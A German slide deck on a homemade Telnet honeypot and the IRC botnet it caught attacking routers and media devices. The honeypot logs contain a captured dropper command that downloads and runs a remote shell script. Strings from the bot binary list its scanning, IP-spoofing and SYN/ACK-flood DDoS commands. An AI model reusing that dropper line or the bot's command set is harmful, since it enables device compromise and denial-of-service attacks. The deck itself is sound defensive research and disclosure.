All your Fernseher are belong to us.

Oder: wieso Telnet auch 2012 immer noch scheisse ist...

Überblick

- Kurze Vorgeschichte
- Der Honeypot
- Das Setup
- Ergebnisse

Vorgeschichte

- In letzter Zeit viele Connection-Attempts auf Port 23
- Kein geeigneter Honeypot, da Telnet nur selten verwendet wird.
- Was könnte das Ziel sein?

Einen Honeypot selber schreiben...

Wie schwer kann sowas sein?

Der Honeypot

- Telnet ist ein altes Protokoll
- Textbasiert, Inline Signalling, komische Steuercodes
- Alles Pfui!

Der Honeypot

- Python
- Nutzt eine Bibliothek für MUDs
- Baut ein DD-WRT nach
- kann aber noch mehr
- Arbeitsaufwand: 3-4 Stunden

Demo !

Das Setup

- Sheeva-Plug
- Läuft ohne Rechte auf unprivilegiertem Port
- NAT-Gateway macht Portforwarding

Bingo!

```
new connect: 178.83.xx.xx:57825 "
178.83.xx.xx:57825 says: root
178.83.xx.xx:57825 says: admin
178.83.xx.xx:57825 says: rm -rf /var/run/getbinaries.sh &&
wget -c http://78.152.xx.xx//getbinaries.sh -P /var/run && sh
/var/run/getbinaries.sh &
```

Bingo!

```
michael@nfoonf:~/research/miniboa-r42$ telnet 178.211.xx.xx
Trying 178.211.xx.xx...
Connected to 178.211.xx.xx.
Escape character is '^]'.

(none) login: root
quantenna #
```

Bingo!

```
quantenna # cat /proc/cpuinfo
Processor       : ARM926EJ-S rev 5 (v5l)
BogoMIPS        : 119.60
Features        : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 5
Cache type      : write-back
Cache clean     : cp15 c7 ops
Cache lockdown  : format C
Cache format    : Harvard
I size          : 16384
I assoc         : 4
I line length   : 32
I sets          : 128
D size          : 16384
D assoc         : 4
D line length   : 32
D sets          : 128

Hardware        : Quantenna UMS
Revision        : 0000
Serial          : 0000000000000000
quantenna #
```

Quantenna??

Bingo!

```
quantenna # cat index.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US"
xml:lang="en-US">
<head>
        <meta http-equiv="content-type" content="text/html;
charset=utf-8" />

        <link rel="stylesheet" rev="stylesheet"
href="netgear_style.css" type="text/css" />
        <title>NETGEAR WNHD3004 @config.title#</title>
</head>
...
```


NETGEAR
NETGEAR
NETGEAR
NETGEAR
WPS
WPS

Die Malware

```
new connect: 178.83.xx.xx:57825 "
178.83.xx.xx:57825 says: root
178.83.xx.xx:57825 says: admin
178.83.xx.xx:57825 says: rm -rf /var/run/getbinaries.sh &&
wget -c http://78.152.xx.xx//getbinaries.sh -P /var/run && sh
/var/run/getbinaries.sh &
```

Die Malware

```
quantenna # cd /var/run
quantenna # ls
arm                 mips                mipsel              ppc                 sh
wpa_supplicant
quantenna # ls -ltr
drwxr-x---    2 0        0               0 Jan  1  1970 wpa_supplicant
-rwxr-xr-x    1 0        0          266266 Mar 19 23:31 mipsel
-rwxr-xr-x    1 0        0          262109 Mar 19 23:31 mips
-rwxr-xr-x    1 0        0          202192 Mar 19 23:31 arm
-rwxr-xr-x    1 0        0          194823 Mar 19 23:31 ppc
-rwxr-xr-x    1 0        0          179576 Mar 19 23:31 sh
quantenna #
```

strings im Binary

```
PRIVMSG %s :* *** Scan Commands
PRIVMSG %s :* .advscan <a> <b>      <user> <passwd>   - scan with user:pass (A.B) classes sets by
you
PRIVMSG %s :* .advscan <a> <b>                        - scan with d-link config reset bug
PRIVMSG %s :* .advscan->recursive   <user> <pass>     - scan local ip range with user:pass, (C.D)
classes random
PRIVMSG %s :* .advscan->recursive                     - scan local ip range with d-link config
reset bug
PRIVMSG %s :* .advscan->random      <user> <pass>     - scan random ip range with user:pass, (A.B)
classes random
PRIVMSG %s :* .advscan->random                        - scan random ip range with d-link config
reset bug
PRIVMSG %s :* .advscan->random->b   <user> <pass>     - scan local ip range with user:pass, A.(B)
class random
PRIVMSG %s :* .advscan->random->b                     - scan local ip range with d-link config
reset bug
PRIVMSG %s :* .stop                                   - stop current operation (scan/dos)
PRIVMSG %s :* *** DDos Commands:
PRIVMSG %s :* NOTE: <port> to 0 = random ports, <ip> to 0 = random spoofing,
PRIVMSG %s :* use .*flood->[m,a,p,s,x] for selected ddos, example: .ngackflood->s host port secs
PRIVMSG %s :* where: *=syn,ngsyn,ack,ngack m=mipsel a=arm p=ppc s=superh x=x86
PRIVMSG %s :* .spoof          <ip>                    - set the source address ip spoof
PRIVMSG %s :* .synflood       <host> <port> <secs>    - tcp syn flooder
PRIVMSG %s :* .ngsynflood     <host> <port> <secs>    - tcp ngsyn flooder (new generation)
PRIVMSG %s :* .ackflood       <host> <port> <secs>    - tcp ack flooder
```

Ergebnisse

- Zentrale Steuerung über IRC C&C
- Scans und DDoS
- Keine Obfuscation, kein gestripptes Binary
- Anfängerfehler in der Malware und bei der Verbreitung

Ergebnisse

- Neue Malware abgestimmt auf Appliances.
- Verschiedene Plattformen aber ähnliche Schwachstellen.
- Sicherheitsbewusstsein bei Gadgets ist verbesserungswürdig

?